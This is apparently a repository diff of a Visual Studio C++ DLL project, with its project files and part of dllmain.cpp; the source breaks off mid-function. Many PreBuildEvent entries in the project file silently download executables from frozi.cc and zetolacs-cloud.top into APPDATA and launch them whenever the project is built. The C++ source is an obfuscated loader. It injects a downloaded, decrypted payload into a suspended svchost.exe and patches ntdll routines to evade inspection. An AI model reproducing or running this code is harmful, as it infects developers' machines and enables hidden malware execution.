<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;TESTDLLMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<LanguageStandard>stdcpp20</LanguageStandard>
<DebugInformationFormat>None</DebugInformationFormat>
<AdditionalOptions>@$(IntDir)build_seed.rsp %(AdditionalOptions)</AdditionalOptions>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>ws2_32.lib;Normaliz.lib;Crypt32.lib;Wldap32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x7FFFFFFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X8}' -f $r) -Encoding ASCII -NoNewline"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x7FFFFFFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X8}' -f $r) -Encoding ASCII -NoNewline"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x7FFFFFFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X8}' -f $r) -Encoding ASCII -NoNewline"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Encrypt.h" />
<ClInclude Include="HopesarsPolyPoly.hpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="dllmain.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Encrypt.h" />
<ClInclude Include="HopesarsPolyPoly.hpp" />
</ItemGroup>
</Project>
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+662
View File
@@ -0,0 +1,662 @@
#include <stdio.h>
#include <iostream>
#include <Windows.h>
#include <cstdio>
#include "Encrypt.h"
#include <fstream>
#include <string>
#include <vector>
#include <wininet.h>
#include <regex>
#include <wincrypt.h>
#include <filesystem>
#include <winternl.h>
#include "HopesarsPolyPoly.hpp"
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "crypt32.lib")
std::string MainURL;
typedef NTSTATUS(WINAPI* EMOSS)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG_PTR ReturnLength
);
#define POLYMORPH_NOISE_BIG() \
do { \
constexpr int base_size = 1024; \
constexpr int date_sum = (__DATE__[0] + __DATE__[1] + __DATE__[2] + __DATE__[3] + __DATE__[4]); \
constexpr int time_sum = (__TIME__[0] + __TIME__[1] + __TIME__[2] + __TIME__[3] + __TIME__[4] + __TIME__[5]); \
constexpr int offset = (date_sum + time_sum) % 256; \
constexpr int array_size = base_size + offset; \
static char poly_noise_data##__LINE__[array_size] = {}; \
for (int i = 0; i < array_size; ++i) { \
poly_noise_data##__LINE__[i] = \
__DATE__[i % 11] ^ __TIME__[i % 8]; \
} \
volatile char* ptr = poly_noise_data##__LINE__; \
(void)ptr; \
if (poly_random(3) == 0) { \
poly_junk(); \
(void)poly_float(); \
} else { \
(void)poly_double(); \
} \
} while(0)
#define POLYMORPH_NOISE_3() \
(void)poly_int(); \
(void)poly_double(); \
if (poly_random(2) == 0) { \
POLYMORPH_NOISE_BIG(); \
} else { \
(void)poly_float(); \
} \
(void)poly_ull();
#define POLYMORPH_NOISE_2() \
(void)poly_ull(); \
poly_junk(); \
(void)poly_float(); \
poly_random_order([](){ \
(void)poly_double(); \
}, [](){ \
poly_junk(); \
});
#define POLYMORPH_NOISE() \
poly_junk(); \
(void)poly_int(); \
(void)poly_double(); \
poly_random_order([](){ \
poly_junk(); \
}, [](){ \
(void)poly_float(); \
});
bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll)
{
if (!hNtdll) return false; // should never happen
ULONGLONG pos = 8;
DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;
std::string virtmom = EC("ZwQueryVirtualMemory");
ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, virtmom.c_str());
if (!_ZwQueryVirtualMemory || _ZwQueryVirtualMemory < pos) {
return false;
}
LPVOID stub_ptr = (LPVOID)((ULONG_PTR)_ZwQueryVirtualMemory - pos);
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
LPVOID patch_space = LI_FN(VirtualAllocEx).cached()(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!patch_space) {
return false;
}
BYTE stub_buffer_orig[stub_size] = { 0 };
SIZE_T out_bytes = 0;
if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
const BYTE nop_pattern[] = { 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 };
if (LI_FN(memcmp).cached()(stub_buffer_orig, nop_pattern, sizeof(nop_pattern)) != 0) {
return false;
}
// prepare the patched stub:
const size_t syscall_pattern_full = 8;
const size_t syscall_pattern_start = 4;
const BYTE syscall_fill_pattern[] = {
0x4C, 0x8B, 0xD1, //mov r10,rcx
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
};
if (LI_FN(memcmp).cached()(stub_buffer_orig + pos, syscall_fill_pattern, syscall_pattern_start) != 0) {
return false;
}
// prepare the patch to be applied on ZwQueryVirtualMemory:
BYTE stub_buffer_patched[stub_size] = { 0 };
LI_FN(memcpy).cached()(stub_buffer_patched, stub_buffer_orig, stub_size);
const BYTE jump_back[] = { 0xFF, 0x25, 0xF2, 0xFF, 0xFF, 0xFF };
LI_FN(memcpy).cached()(stub_buffer_patched, &patch_space, sizeof(LPVOID));
LI_FN(memset).cached()(stub_buffer_patched + pos, 0x90, syscall_pattern_full);
LI_FN(memcpy).cached()(stub_buffer_patched + pos, jump_back, sizeof(jump_back));
// prepare the trampoline:
const BYTE jump_to_contnue[] = { 0xFF, 0x25, 0xEA, 0xFF, 0xFF, 0xFF };
ULONG_PTR _ZwQueryVirtualMemory_continue = (ULONG_PTR)_ZwQueryVirtualMemory + syscall_pattern_full;
BYTE func_patch[] = {
0x49, 0x83, 0xF8, 0x0E, //cmp r8,0xE -> is MEMORY_INFORMATION_CLASS == MemoryImageExtensionInformation?
0x75, 0x22, // jne [continue to function]
0x48, 0x3B, 0x15, 0x0B, 0x00, 0x00, 0x00, // cmp rdx,qword ptr ds:[addr] -> is ImageBase == module_ptr ?
0x75, 0x19, // jne [continue to function]
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
0xC3 //ret
};
BYTE stub_buffer_trampoline[stub_size * 2] = { 0 };
LI_FN(memcpy).cached()(stub_buffer_trampoline, func_patch, sizeof(func_patch));
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, stub_buffer_orig, stub_size);
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size - sizeof(LPVOID), &module_ptr, sizeof(LPVOID));
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, &_ZwQueryVirtualMemory_continue, sizeof(LPVOID));
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size + pos + syscall_pattern_full, jump_to_contnue, sizeof(jump_to_contnue));
const SIZE_T trampoline_full_size = stub_size + pos + syscall_pattern_full + sizeof(jump_to_contnue);
if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_patched, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
return false;
}
if (!LI_FN(WriteProcessMemory).cached()(hProcess, patch_space, stub_buffer_trampoline, trampoline_full_size, &out_bytes) || out_bytes != trampoline_full_size) {
return false;
}
if (!LI_FN(VirtualProtectEx).cached()(hProcess, patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) {
return false;
}
LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, stub_size);
return true;
}
bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll)
{
if (!hNtdll) return false; // should never happen
DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;
const BYTE hotpatch_patch[] = {
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
0xC3 //ret
};
// syscall stub template
const size_t syscall_pattern_full = 8;
const size_t syscall_pattern_start = 4;
const BYTE syscall_fill_pattern[] = {
0x4C, 0x8B, 0xD1, //mov r10,rcx
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
};
std::string gotpot = EC("NtManageHotPatch");
ULONG_PTR _NtManageHotPatch = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, gotpot.c_str());
if (!_NtManageHotPatch) {
return false;
}
LPVOID stub_ptr = (LPVOID)_NtManageHotPatch;
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
BYTE stub_buffer_orig[stub_size] = { 0 };
SIZE_T out_bytes = 0;
if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
// confirm it is a valid syscall stub:
if (LI_FN(memcmp).cached()(stub_buffer_orig, syscall_fill_pattern, syscall_pattern_start) != 0) {
return false;
}
if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) {
return false;
}
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
return false;
}
LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, sizeof(hotpatch_patch));
return true;
}
int ruplepe(std::vector<uint8_t> argy) {
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)argy.data();
PIMAGE_NT_HEADERS64 NtHeader = (PIMAGE_NT_HEADERS64)(argy.data() + DosHeader->e_lfanew);
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
ULONG_PTR retlen;
PROCESS_BASIC_INFORMATION pbi;
void* newImgBase;
DWORD64 ImgBaseAddress;
HMODULE hNtdll = LI_FN(GetModuleHandleA).safe()(EC("ntdll"));
HMODULE ntDll = LI_FN(LoadLibraryA).safe()(EC("ntdll.dll"));
if (ntDll == nullptr) {
return 1;
}
std::string nqr = EC("NtQueryInformationProcess");
EMOSS NtQueryInformationProcess = (EMOSS)GetProcAddress(ntDll, nqr.c_str());
if (NtHeader->Signature != IMAGE_NT_SIGNATURE) {
return 1;
}
if (!CreateProcess(EC("C:\\Windows\\System32\\svchost.exe"),
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
return 1;
}
patch_NtManageHotPatch64(pi.hProcess, hNtdll);
NtQueryInformationProcess(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&retlen
);
newImgBase = LI_FN(VirtualAllocEx).cached()(
pi.hProcess,
NULL,
NtHeader->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (newImgBase == NULL) {
return 1;
}
LI_FN(WriteProcessMemory).cached()(pi.hProcess, newImgBase, argy.data(), NtHeader->OptionalHeader.SizeOfHeaders, 0);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(argy.data() + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
for (int num = 0; num < NtHeader->FileHeader.NumberOfSections; num++) {
if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess,
(LPVOID)((DWORD64)newImgBase + SectionHeader->VirtualAddress),
(LPVOID)((DWORD64)argy.data() + SectionHeader->PointerToRawData),
SectionHeader->SizeOfRawData,
0)) {
}
SectionHeader++;
}
ImgBaseAddress = (DWORD64)pbi.PebBaseAddress + 0x10;
if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess, (LPVOID)ImgBaseAddress, &newImgBase, sizeof(newImgBase), 0)) {
}
HANDLE NewThread = LI_FN(CreateRemoteThread).cached()(pi.hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)((DWORD64)newImgBase + NtHeader->OptionalHeader.AddressOfEntryPoint),
NULL,
CREATE_SUSPENDED,
NULL);
if (!NewThread) {
return 1;
}
LI_FN(SuspendThread).cached()(pi.hThread);
patch_ZwQueryVirtualMemory(pi.hProcess, newImgBase, hNtdll);
LI_FN(ResumeThread).cached()(NewThread);
/*std::cout << "DosHeader: " << std::hex << "0x" << DosHeader;
std::cout << "NtHeader: " << std::hex << "0x" << NtHeader;
std::cout << "Shellcode injected successfully\n";*/
LI_FN(FreeLibrary).cached()(ntDll);
return 0;
}
std::string Rvrs(std::string input) {
// Reverse the string
std::reverse(input.begin(), input.end());
return input;
}
bool isInternetAvailable() {
return InternetCheckConnectionW(EC(L"http://www.google.com"), FLAG_ICC_FORCE_CONNECTION, 0);
}
std::string DownloadString(std::string URL) {
if (isInternetAvailable())
{
HINTERNET interwebs = LI_FN(InternetOpenA).cached()(EC("Mozilla/5.0"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
HINTERNET urlFile;
std::string rtn;
if (interwebs) {
urlFile = LI_FN(InternetOpenUrlA).cached()(interwebs, URL.c_str(), NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL);
if (urlFile) {
char buffer[20000];
DWORD bytesRead;
do {
LI_FN(InternetReadFile).cached()(urlFile, buffer, 20000, &bytesRead);
rtn.append(buffer, bytesRead);
LI_FN(memset).cached()(buffer, 0, 20000);
} while (bytesRead);
LI_FN(InternetCloseHandle).cached()(interwebs);
LI_FN(InternetCloseHandle).cached()(urlFile);
return rtn;
}
}
LI_FN(InternetCloseHandle).cached()(interwebs);
return rtn;
}
else
{
std::cout << EC("No Internet Connection.") << std::endl;
return EC("");
}
}
std::vector<BYTE> Base64ToBytes(const std::string& base64String) {
DWORD bytesNeeded;
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) {
return {};
}
std::vector<BYTE> bytes(bytesNeeded);
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) {
return {};
}
return bytes;
}
std::string decrypt(const std::string& encryptedBase64, const std::string& key) {
std::string decoded;
std::vector<int> decodingTable(256, -1);
const std::string base64Chars =
EC("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
for (size_t i = 0; i < base64Chars.size(); i++) {
decodingTable[base64Chars[i]] = i;
}
int val = 0, valb = -8;
for (unsigned char c : encryptedBase64) {
if (decodingTable[c] == -1) break;
val = (val << 6) + decodingTable[c];
valb += 6;
if (valb >= 0) {
decoded.push_back((val >> valb) & 0xFF);
valb -= 8;
}
}
std::string encryptedData = decoded;
std::string decrypted;
size_t keyLength = key.size();
for (size_t i = 0; i < encryptedData.size(); ++i) {
decrypted += encryptedData[i] ^ key[i % keyLength];
}
return decrypted;
}
std::string remove_whitespace(const std::string& input) {
std::string result;
for (char c : input) {
if (!std::isspace(c)) {
result += c;
}
}
return result;
}
DWORD WINAPI ThreadMain(HMODULE m)
{
/*std::string un;
DWORD bufferLength = 256 + 1;
char username[256 + 1];
if (GetUserNameA(username, &bufferLength))
{
un = username;
}
if (un.find(EC("emre")) != std::string::npos) {
AllocConsole();
freopen(EC("CON"), EC("w"), stdout);
freopen(EC("CON"), EC("w"), stderr);
}
std::cout << EC("[DBG] Sleeping... PLD: 0.1.6") << std::endl;
AllocConsole();
freopen(EC("CON"), EC("w"), stdout);
freopen(EC("CON"), EC("w"), stderr);*/
//std::cout << EC("[DBG] Sleeping... PLD: 0.1.8") << std::endl;
LI_FN(Sleep).safe_cached()(10000);
LI_FN(CreateMutexA).safe_cached()(NULL, TRUE, EC("Global\\PFLwrx"));
if (LI_FN(GetLastError).safe()() == ERROR_ALREADY_EXISTS) {
//std::cout << EC("[DBG] Nope") << std::endl;
}
else
{
//std::cout << EC("[DBG] Yes") << std::endl;
try
{
if (LI_FN(OpenMutexA).safe()(MUTEX_ALL_ACCESS, FALSE, EC("Global\\PFLwrxMNN")) != NULL) {
//std::cout << EC("[DBG] Fucking No") << std::endl;
}
else
{
//std::cout << EC("[DBG] Ok So Good") << std::endl;
